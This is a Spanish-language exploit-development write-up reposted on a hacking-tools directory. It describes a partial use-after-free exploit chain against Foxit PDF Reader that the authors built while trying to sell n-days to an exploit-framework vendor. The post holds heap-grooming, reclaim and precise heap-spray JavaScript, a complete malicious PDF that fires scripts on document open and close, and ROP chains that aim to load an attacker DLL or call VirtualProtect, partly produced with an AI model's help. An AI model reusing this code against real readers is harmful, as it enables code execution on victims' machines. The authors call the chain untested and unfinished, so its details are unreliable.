Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HackerLife.exe — Redacción de una cadena de exploits fallida y la experiencia de intentar vender tu primer nday | Kitploit
Herramientas/GitHubGitHub/spiralbl0ck/hackerlife.exe
Análisis de VulnerabilidadesExplotaciónIngeniería InversaShellcodePapers e InvestigaciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubspiralbl0ck/hackerlife.exe

HackerLife.exe

Redacción de una cadena de exploits fallida y la experiencia de intentar vender tu primer nday

Ver Repositorio
hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

HackerLife.exe

Redacción sobre una cadena de exploits que no llegó a ser completamente armada y la experiencia de intentar vender tu primer nday.

¿De qué trata esta historia? Nuestra cita textual: "experiencia de vida en 2025 como joven investigador de seguridad intentando abrirse camino en un entorno en constante cambio y complicado". Cuando llegó 2025, sucedieron algunos eventos en mi vida que me impulsaron a intentar ganar algo de dinero. Desafortunadamente, hasta el día de hoy nunca fue así, ya que fracasé miserablemente, como veréis. Así que el equipo decidió intentar utilizar nuestras habilidades. Fuimos contactados por una persona a través de un ssn. Cuando esta persona se puso en contacto con nosotros, se presentó como una startup emergente de ciberseguridad de una parte del mundo, siendo ese país parte de mnna, es decir, un aliado de la OTAN (intentando no dar demasiados detalles sobre esta persona, ya que son irrelevantes de todos modos). Nos contactaron porque buscaban a alguien que ayudara a mejorar su producto, una especie de framework premium de Metasploit; básicamente necesitaban ndays para su framework. A lo que respondimos felizmente que ayudaríamos a cambio de una cierta cantidad de dinero (de nuevo, irrelevante, ya que la transacción nunca llegó a realizarse). Así que propusimos una serie de posibles CVEs que creíamos que podíamos usar para producir un exploit en un mes y medio. Podéis echar un vistazo al producto propuesto aquí. catalogue_final.pdf . De todos modos, aquí viene la primera lección importante para los jóvenes que quieren iniciarse en el mundo del ciberespacio. A la hora de elegir un CVE, tómate entre 3 y 4 semanas para revisar el CVE antes de comenzar la investigación. En dicho catálogo podréis ver que uno de los exploits era una cadena, una de PDF... Solo miramos brevemente las descripciones, ejecutamos el PoC proporcionado una o dos veces y echamos un vistazo a qué CWE era, y decidimos que, oye, quizás pudiéramos convertirlo en un exploit completamente armado. No podíamos estar más lejos de la verdad.

Porque a veces la vida pasa; tenía un examen que aprobar y decidimos que empezaríamos a trabajar en el exploit real el 20 de febrero.

Llega el 20 de febrero y empezamos a trabajar en el exploit. Empezamos con algo "relativamente fácil" (por favor, notad el sarcasmo), empezamos con CVE-2024-25648. Pero antes de siquiera comenzar con eso, empezamos a intentar entender la estructura de los PDFs o, mejor dicho, a obtener una pequeña visión general de ellos, ya que, como veréis más adelante en el documento, tendríamos que crear un "documento adecuado" con diferentes acciones que se disparaban cuando ocurrían ciertos eventos. Por eso podemos dar un agradecimiento a Ange Albertini por documentar esta mierda como es debido. Estos son los recursos que usamos para entender la estructura de los PDF: https://www.youtube.com/watch?v=q6KgFezu8tw , https://www.youtube.com/watch?v=8g6G96nn7Mo , https://www.youtube.com/live/xZPK04a5ltc . ¿Por qué es siquiera relevante? Sinceramente, lo olvidé, pero decidimos que para esta cadena una parte del exploit se ejecutaría en segundo plano cada vez que abrieras el PDF y la segunda parte cada vez que lo cerraras. Idealmente, el exploit debía explotar CVE-2024-25648 al cerrar y CVE-2024-25575 al abrir. Para desglosarlo: para poder crear un diseño de memoria preciso para la explotación precisa del UAF, necesitábamos un info-leak para calcular las direcciones de los gadgets ROP. Así, el flujo del exploit habría sido: type conf -> infoleak --> gc para limpiar el diseño del heap --> spray preciso --> uaf --> control de EIP -8 --> stackpivot --> ropchain --> sc --> pop calc.exe. En la etapa actual solo tenéis el UAF y el heap spray, y teóricamente (no probadas) 2 ropchains propuestas. Ahora, sin entrar demasiado en detalles, una parte crucial de cualquier explotación de UAF es obviamente una "primitiva de asignación" (allocator primitive). ¿Qué es eso? Dicho simplemente, algo que te permite tener control sobre el contenido y el tamaño que deseas asignar. Tuvimos la suerte de que otras personas ya habían investigado sobre este tema. Así que usamos https://hacksys.io/blogs/foxit-reader-uaf-rce-jit-spraying-cve-2022-28672#jit-spraying-to-rescue-bypassing-dep-aslr-at-once como base de partida. Así que sabíamos que teníamos que empezar nuestra investigación basándonos en algo como function reclaim(size, count){ 3 for (var i = 0; i < count; i++) { 4 sprayArr[i] = new SharedArrayBuffer(size); 5 var rop = new DataView(sprayArr[i]); 6 7 // control value for - call dword ptr [eax+74h] 8 // first dword is pointer to the shellcode 9 rop.setUint32(0, 0x41414141); 10 11 for (var j = 4; j < rop.byteLength/4; j+=4) { 12 rop.setUint32(j, 0x42424242); 13 } 14 } 15} pero no sabíamos qué hacer exactamente. Así que volvimos a leer el advisory y luego intentamos encontrar el tamaño del objeto vulnerable. ¿Cómo lo hicimos? Honestamente, por pura suerte. Teníamos algunos hooks insertados en RlptFreeHeap, Math.atan, Math.sin y finalmente RtlAllocateHeap (lo siento, se perdieron durante la investigación, de alguna manera los perdimos). Insertar imagen aquí con el rastro de los objetos. Así que después de buscar algún patrón en la asignación de memoria, concluimos que el tamaño del objeto vulnerable era 0x70. Ahora, lo que hicimos después fue intentar reclamar el objeto. En términos generales, al explotar un UAF hay 2 requisitos previos para controlar dicho objeto: 1. conocer el tamaño y 2. poder colocar una nueva asignación entre la liberación y la reutilización, y eso fue lo que hicimos. Como podéis ver function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

} colocamos entre los deletePages, que es lo que se ve al borrar cosas, la reasignación de nuestro objeto en cuestión. Y he aquí que, insertar imagen del control de EIP con 41414141. Antes hablábamos de un flujo de exploit o desde el punto de vista de la arquitectura del exploit, y mencionamos que queríamos llamar a gc para limpiar el heap. Bien, sin entrar demasiado en detalle para quienes no estén familiarizados con cómo se puede llamar a gc para limpiar el estado del heap, un método (porque hay muchos) es crear un objeto muy grande unas cuantas veces y listo.

La implementación real de esto era esta función function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } } nada nuevo bajo el sol, solo quería señalar un dato rápido sobre la implementación de esto. Ahora hay otra cosa más de la que hablar, ya que el exploit apunta a un software de 32 bits. En Windows existe el concepto de heap spray preciso (precise heap spray). ¿Qué es eso? En Windows (sé que también debería ser posible en Linux, pero solo lo he visto en Windows) puedes asignar, para espacio de 32 bits, una dirección predecible cada vez. Honestamente, esto no es nada nuevo bajo el sol. Es algo fácil una vez que lo entiendes; yo lo entendí intrincadamente una vez, pero ahora no :))). En fin, en Windows 10 no se te permite hacer VirtualAlloc con un tamaño de VABlocks de 0x7fb0. Pero afortunadamente puedes hacer un truco. Puedes hacer asignaciones incrementales de tamaño 0x10000, 0x40000 y otro tamaño, y no sé, unas 0x300 veces. Esto te lo permite. De nuevo, nada nuevo bajo el sol, si lo sabes, lo sabes. Ahora aquí está la implementación específica.

function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

} Nada nuevo bajo el sol: repite el mismo payload desde 0x10000 hasta otro 0x10000 hasta formar una cadena hexadecimal de longitud 0x40000 y, literalmente, haz spray. Ahora tengo que mencionar que esto es un poco inestable porque, aunque pulveriza mucho y de vez en cuando logramos obtener una dirección precisa, esto necesita un poco de optimización/mejora, porque, bueno, olvidé exactamente cómo se hace esto. Insertar imagen de windbg y alguna explicación sobre lo que veo.

Ahora, antes de cerrar el capítulo, valdría la pena mencionar cómo creamos los hooks para Math.atan, Math.sin y RlptFreeHeap/RtlpAllocateHeap. Bueno, para las funciones rtlp tenía algunos hooks de cuando asistí a un entrenamiento de desarrollo de exploits que trataba con Foxit, una versión más antigua. Para Math.atan y Math.sin, Rubén... (insertar explicación). Así que llegamos a esto (insertar hooks) (insertar imagen de windbg + explicación de lo que ocurre allí).

Ahora, para la segunda parte del blog, CVE-2024-25575

Sin entrar demasiado en los detalles del write-up de Talos, Rubén me advirtió, después de 2 semanas cuando pusimos la mira en la segunda parte del bug, que esto podría no ser exactamente un bug de type confusion, sino más bien un UAF que tiene como efecto secundario type confusion en string. Aun así, esto suena como un buen escenario para el desarrollo de exploits. En realidad no. Así que desde el principio te quedas con esto var lock_object = app.activeDocs[0].addField( 'AA', "signature", 0, [10,214,3] ).getLock() ;

app.activeDocs[0].deletePages();

app.fs.transitions;

lock_object.defineGetter('fields', function () {}); y tu siguiente objetivo es ver cómo demonios reemplazas app.fs.transitions. En ese momento, Rubén y yo pasamos como 3 semanas arrancándonos los pelos tratando de averiguarlo, porque según la documentación de Adobe, app.fs.transitions es un objeto que solo es legible y no escribible (NO ES UNA BUENA SEÑAL PARA LA EXPLOTACIÓN). Segundo, no pudimos determinar correctamente el tamaño de app.fs.transitions con el hook. ¿Por qué?, os preguntaréis. Bueno, aunque tuvimos la suerte de poder determinarlo en la parte anterior, aquí simplemente tuvimos mala suerte cuando nos dimos cuenta de que el parámetro de tamaño en este caso no correspondía con los hooks y, por tanto, no pudimos determinar el tamaño exacto. Ahora, ¿cómo salimos de este lío? Bueno, en esas 3 semanas que pasaron, un día vimos en Twitter que alguien lanzó un servidor MCP para Ghidra/IDA y dijimos que lo intentaríamos. Después de, creo, un día o dos discutiendo con Claude, de alguna manera generó esta monstruosidad. message.txt%PDF-1.5 1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R /AA << /WC 3 0 R
>> endobj

2 0 obj << /Type /Pages /Count 7 /Kids [5 0 R 6 0 R 7 0 R 8 0 R 9 0 R 10 0 R 11 0 R]

endobj

3 0 obj << /S /JavaScript /JS(

//var sprayArr = []; var sprayArr2 = [];

var theSize = 0xb8-8; function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function addrToHex(addr) { return "0x" + addr.toString(16).padStart(8, '0'); }

// Function to create a controlled string pattern function createStringPattern(length) { var result = ""; for (var i = 0; i < length; i += 4) { // Create predictable 4-byte patterns var val = 0xAA000000 + i; var c1 = String.fromCharCode((val & 0xFF)); var c2 = String.fromCharCode((val >> 8) & 0xFF); var c3 = String.fromCharCode((val >> 16) & 0xFF); var c4 = String.fromCharCode((val >> 24) & 0xFF); result += c1 + c2 + c3 + c4; } return result; }

function type_conf() { app.alert("Starting alternative exploitation approach...");

root@kitploit:~
// Step 1: Create several different types of form fields
var fields = {};
var fieldTypes = ["text", "checkbox", "radiobutton", "combobox", "listbox", "signature"];

for (var i = 0; i < fieldTypes.length; i++) {
    try {
        fields[fieldTypes[i]] = app.activeDocs[0].addField(
            'Field_' + fieldTypes[i], 
            fieldTypes[i], 
            0, 
            [10, 50 + i*40, 100, 80 + i*40]
        );
        app.alert("Created " + fieldTypes[i] + " field");
    } catch (e) {
        app.alert("Error creating " + fieldTypes[i] + " field: " + e);
    }
}

// Step 2: Store references to various objects from these fields
var objects = [];
try {
    // Get various objects from different field types to increase chances of success
    if (fields.signature) objects.push({name: "signature.lock", obj: fields.signature.getLock()});
    if (fields.text) objects.push({name: "text.value", obj: fields.text.value});
    if (fields.combobox) objects.push({name: "combobox.items", obj: fields.combobox.items});
    if (fields.checkbox) objects.push({name: "checkbox.style", obj: fields.checkbox.style});
    
    app.alert("Stored references to " + objects.length + " objects");
} catch (e) {
    app.alert("Error storing object references: " + e);
}

// Step 3: Call deletePages() with specific parameters
try {
    app.activeDocs[0].deletePages({nStart: 0, nCount: 0});  // Try not to delete any pages
    app.alert("deletePages called with parameters");
} catch (e) {
    app.alert("Error in deletePages: " + e);
    // Continue anyway
}

// Step 4: Create controlled heap objects
var stringObjects = [];
var bufferObjects = [];

// Mix of different object types to influence heap layout
for (var i = 0; i < 100; i++) {
    stringObjects.push("Memory" + i.toString(16).padStart(8, '0'));
}

// Create objects with specific values that might be recognizable if leaked
for (var i = 0; i < 20; i++) {
    var obj = {
        marker: 0xABCD0000 + i,
        index: i,
        name: "Marker" + i
    };
    bufferObjects.push(obj);
}

// Step 5: Access transitions and other APIs to influence memory
try {
    // Access app.fs.transitions
    app.fs.transitions;
    app.alert("Transitions accessed");
    
    // Access other properties that might influence memory
    if (app.fs.fonts) app.alert("Fonts accessed");
    if (app.fs.templates) app.alert("Templates accessed");
} catch (e) {
    app.alert("Error accessing app properties: " + e);
}

// Step 6: Trigger JavaScript garbage collection
try {
    for (var i = 0; i < 3; i++) {
        var largeArray = new Array(1000000);
        largeArray = null;
    }
    app.alert("Garbage collection potentially triggered");
} catch (e) {
    app.alert("Error triggering GC: " + e);
}

// Step 7: Examine objects for signs of corruption or memory leaks
var results = [];

for (var i = 0; i < objects.length; i++) {
    var objName = objects[i].name;
    var obj = objects[i].obj;
    
    results.push("Examining " + objName + ":");
    
    try {
        // Check object type
        results.push("- Type: " + typeof obj);
        
        // Try to convert to string
        var asString = String(obj);
        results.push("- String representation: " + asString);
        
        // Look for patterns that might indicate addresses
        var hexMatches = asString.match(/[0-9A-Fa-f]{6,}/g);
        if (hexMatches) {
            for (var m = 0; m < hexMatches.length; m++) {
                results.push("- Potential address: 0x" + hexMatches[m]);
            }
        }
        
        // Try JSON serialization with error handling
        try {
            var asJson = JSON.stringify(obj);
            if (asJson && asJson.length > 2) {  // Not empty object
                results.push("- JSON: " + (asJson.length > 50 ? asJson.substring(0, 50) + "..." : asJson));
            }
        } catch (jsonError) {
            results.push("- JSON error: " + jsonError);
        }
        
    } catch (e) {
        results.push("- Error examining object: " + e);
    }
}

// Report results
for (var i = 0; i < results.length; i++) {
    app.alert(results[i]);
}

app.alert("Alternative exploitation completed");

}

type_conf();

root@kitploit:~
)

endobj

4 0 obj << /S /JavaScript /JS(

/* ROP

FoxitPDFReader!CryptUIWizExport+0x357b1: 00d7e62f 8b01 mov eax,dword ptr [ecx] ds:002b:12d3c4a0=f0f0f0f0 ; <---------------- [6] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] ds:002b:f0f0f134=???????? ; <---------------- [7] 00d7e631 8b4044 mov eax,dword ptr [eax+44h] 00d7e634 ffd0 call eax

we got 0x44 till we have to jump and such so basically we control ecx and in ecx we put the rest of ropchian

and in ecx we put 0c0c0c0c and at 0c0c0c0c we put ropchian

at 0c0c0c0c+0x44 0x4a2a06: xchg esp, ecx ; ret ; (1 found) such

arr[0]=0x4a2a06 xchg esp, ecx ; ret ; (1 found)(offset 000a2a06) aka ecx ImageBase : 0x00400000rop[1] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[2] = 0x6c6c642e rop[3] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[4] = 0x6b636168 rop[5] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[6] = 0x5x706f74 rop[7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[8] = 0x6b736544 rop[9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x5c64616c rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x565c7372 rop[0xd] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xe] = 0x6573555c rop[0xf] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x10] = 0x4141433a rop[0x11] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x12] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x13] = 0x2 rop[0x14] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x15] = 0x41a07e: push edi ; ret ; (1 found) rop[0x16] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x17] = 05254630 76481100 KERNEL32!LoadLibraryAStub - 0xd rop[0x18] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x19] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

cause we dont have writeprocessmemory so we result to loadlibrarya

43 3A eq to C:\Users\Vlad\Desktop\hack.dll

0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found)

or in case we want virtualrpotect chain as payload

skeleton = RopChain()

skeleton += 0x41414141 # VirtualAlloc address

skeleton += 0x42424242 # shellcode return address to return to after VirtualAlloc is called

skeleton += 0x43434343 # lpAddress (shellcode address)

skeleton += 0x44444444 # dwSize (0x1)

skeleton += 0x45454545 # flAllocationType (0x1000)

skeleton += 0x46464646 # flProtect (0x40)

rop[0x1] = 0x4573426: mov edi, esp ; ret ; (1 found) rop[0x2] = 0x2d3d809: dec eax ; pop eax ; ret ; (1 found) rop[0x3] = 0x2 #this needs to be changed to point to shellcode rop[0x4] = 0x30bcb93: add edi, eax ; ret ; (1 found) rop[0x5] = 0x41a07e: push edi ; ret ; (1 found) rop[0x6] = 0x41a07e: push edi ; ret ; (1 found) since it's the same rop[0x7] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0x8] = size for shellcode here rop[0x9] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xa] = 0x1000 rop[0xb] = 0x28ed140: add al, ch ; pop edx ; push edx ; ret ; (1 found) rop[0xc] = 0x40 rop[0xd] = 04bc457c 76466b30 KERNEL32!VirtualProtectStub - 0xd rop[0x10] = 0x35f252a: add eax, 0x0C ; mov eax, [eax] ; ret ; (1 found) rop[0x11] = 0x370d27c: inc eax ; push eax ; ret ; (1 found)

*/

var global_address_spray = [];

function p32(num) { return String.fromCharCode(num & 0xff) + String.fromCharCode((num >> 8) & 0xff) + String.fromCharCode((num >> 16) & 0xff) + String.fromCharCode((num >> 24) & 0xff); }

function start(msg) { Math.atan(msg); }

function end(msg) { Math.acos(msg); }

function gc(){ const maxMallocBytes = 128 * 0x100000; //check if this is true ???? for(var i = 0 ; i < 3 ; i++){ var x = new SharedArrayBuffer(maxMallocBytes); } }

function allocateSprayBuffer(payload) { // Create a SharedArrayBuffer sized to hold the payload. // Assuming one byte per character (e.g. for ASCII-only data). var buffer = new SharedArrayBuffer(payload.length); var dv = new DataView(buffer); for (var j = 0; j < payload.length; j++) { dv.setUint8(j, payload.charCodeAt(j)); } return buffer; }

function store_shellcode() { app.alert(util.printf("Uninitialized1"));

root@kitploit:~
var offset 	  		= 0xbc4; //this will need adjustment aka be changed
var final_payload 		= "";
var junk 	  		= p32(0x50505050)+p32(0x80808080);
var rop  	  		= "4141424243434444454546464747";
var shellcode 		        = "0c0c00c0c0c0c0c0c0c0c0c0c0c0";
while(junk.length < 0x1000){
	junk += junk;
}
app.alert(util.printf("Uninitialized2"));
app.alert("Preparing layout to allow application to store 'noise'");

// Allocate a 0x1000-byte buffer and fill with 'A'
let hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a 0x10000-byte buffer and fill with 'B'
let hAlloc1 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc1, 'B');

// Reallocate hAlloc0 with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate another 0x10000-byte buffer and fill with 'B'
let hAlloc2 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc2, 'B');

// Reallocate hAlloc0 again (0x1000-byte) and fill with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

// Allocate a third 0x10000-byte buffer and fill with 'B'
let hAlloc3 = new SharedArrayBuffer(0x10000);
fillBuffer(hAlloc3, 'B');

// Reallocate hAlloc0 once more with a new 0x1000-byte buffer filled with 'A'
hAlloc0 = new SharedArrayBuffer(0x1000);
fillBuffer(hAlloc0, 'A');

app.alert("Layout created, now freeing 3 chunks of 0x10000");

// Log and "free" the 0x10000-byte buffers by dropping references.
app.alert("Free", hAlloc1);
hAlloc1 = null;

app.alert("Free", hAlloc2);
hAlloc2 = null;

app.alert("Free", hAlloc3);
hAlloc3 = null;

app.alert("Done. Ready for spray");

//Trigger the theoretical garbage collection to clear the heap.
gc();

final_payload =  junk.substring(0,offset);

final_payload += rop;

final_payload += shellcode;

final_payload += junk.substring(0,0x10000-offset-rop.length-shellcode.length);

while(final_payload.length < 0x40000){
	final_payload += final_payload;
}

var sprayRepeat = 3; // Repeat spray multiple times.
var sprayCount = 0x900; // Number of spray entries per repetition.

for (var rep = 0; rep < sprayRepeat; rep++) {
		for (var i = 0; i < sprayCount; i++) {
  			// Convert the first 0x40000 characters of final_payload into a SharedArrayBuffer.
  			var sprayBuffer = allocateSprayBuffer(final_payload.substring(0, 0x40000));
  			global_address_spray.push(sprayBuffer);
		}
}
app.alert(util.printf("SPRAY DONE"));

}

var sprayArr = []; var sprayArr2 = [];

var theSize = 0x70-8;

function fillBuffer(buffer, char) { var dv = new DataView(buffer); var charCode = char.charCodeAt(0); for (var i = 0; i < buffer.byteLength; i++) { dv.setUint8(i, charCode); } }

function reclaim(size, count,array) { for (var i = 0; i < count; i++) { array[i] = new SharedArrayBuffer(size); fillBuffer(array[i], 'B'); } }

function uaf() { // prepare heap var count = 1000; var tArr = [];

start("enabling the heap hook"); app.activeDocs[0].addField('aaaa', "combobox", 2, [13,8,0,19] ) ;

getField('aaaa').setAction("Format",'delete_pages();');

app.activeDocs[0].addField('aaaa', "combobox", 0, [13,8,0,19] ) ;

end("disabling the heap hook"); }

function delete_pages() { app.activeDocs[0].deletePages(); //reclaim(theSize,0x10000);

reclaim(theSize,0x300,sprayArr2);

app.activeDocs[0].deletePages(); reclaim(theSize,0x300,sprayArr2);

}

//start("enabling the heap hook"); //end("disabling the heap hook");

//sprayArr[i] = new SharedArrayBuffer(theSize); reclaim(theSize,0x400,sprayArr); for(var i = 0; i < 0x400; ++i){ if(i%2 == 0){ sprayArr[i] = null; } }

//store_shellcode(); //uaf(); //console.show(); )>>

5 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 6 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 7 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 8 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 9 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 10 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj 11 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 500 500] /Resources << >>

endobj

trailer << /Root 1 0 R
/Size 12

startxref

%%EOF

Ahora bien, lo que hicimos fue, supongo que se puede llamar pruebas de regresión, donde Rubén tomó este poc y empezó a desmontarlo línea por línea. Todo el proceso tardó aproximadamente dos semanas, que yo recuerde, y como una curiosidad divertida, así fue como transcurrió esa conversación:

vlad: ¡¡¡¡¡¡controlo ecx!!!!!! cerca del infoleak con este controlas ecx exactamente pero no sé cómo reemplazar el string, el objeto está muerto pero controlas más o menos dónde crashea pega un poc aleatorio y con este casi controlas ecx, controlas ecx+8, mira qué, no, y hazlo infoleak por favor 🙂 publica un poc aleatorio en este controlas el string 'object is dead' así que debería estar cerca así que como ya concluimos, el exp no es 100% pero no necesita ser 100%, solo necesita ser fiable, así que de mi prueba 5/3 la salida es la de arriba para el parcial, el de object_is_dead, el 100% de las veces crashea con control de ecx

reuben: estoy intentando ejecutar este poc, y es un bug completamente diferente, lool vlad: ¿puedo hacer una videollamada para preguntar sobre tus hallazgos? qué ¿bug totalmente diferente ¿cómo?? ¿0day??? sabes que intentamos acceder a app.fs.transitions lo cual solo me hace cuestionar un poco si esto es un 0day, una confusión de bugs cruzados o un CVE diferente, dado que de nuevo usamos delete_pages y app.fs.transition

reuben: antes crasheaba en algún sitio al azar. no sé qué pasó pero ahora crashea en el mismo sitio (lo he replicado varias veces) pero escucha esto es antes de que llames a app.fs.transitions vlad: ¿qué es la vida, hermano?? reuben: todavía no sé cómo controlar los datos, pero estoy bastante seguro de que algo puede reemplazarlos vlad: ok déjame preguntarte esto los pocs que tienes ahora muestran algo de control en términos de ecx y por lo que me dices, app.fs.transitions es inútil, ¿verdad? genial entonces vamos por buen camino, ¿no? reuben: sí, podemos prescindir de app.fs.transitions y llevo mucho tiempo diciéndolo, solo que no sabía cómo desencadenarlo (y sinceramente sigo sin saberlo) vlad: bueno, ¿podría ser como dijiste que el bug real es más un uaf que un type conf??? ¿y solo es type conf por culpa de app.fs.transitions?

Y aquí viene una lección aprendida durante el proceso de reflexión y que también puede ser crucial para los investigadores jóvenes: si un bug parece, digamos, una type confusion en el advisory pero según tu análisis se comporta como una clase diferente, puede ser señal de que en este caso, o para generalizar, si quieres usar type conf para un infoleak pero el bug se comporta como uaf en Windows, prácticamente no podrás hacer el infoleak.

reuben: todavía no puedo decirlo pero escucha esto he eliminado el paso 11 de tu último poc y sigue disparándose

el paso 11 es donde llamas a app.fs.transitions aunque todavía no sabemos si podemos usarlo para filtrar algo, lol

vlad: de acuerdo pero al menos ahora tenemos algo de control que de nuevo no es gran cosa porque podría ser solo coincidencia y no podemos controlarlo, looll y volvemos a la casilla uno ¿qué es la vida????

reuben: ok, así que he cambiado el texto que aparece en el crash ahora 😄

vlad: quéeeee ¿en serio? ¿tienes control?

veo un rayo de luz brillando

reuben: no del todo porque el texto es UTF-16LE, pero quizá pueda hacer algo, veamos

reuben: image-2

reuben: esta es otra, lo que significa que probablemente pueda saltarme la restricción de utf-16le

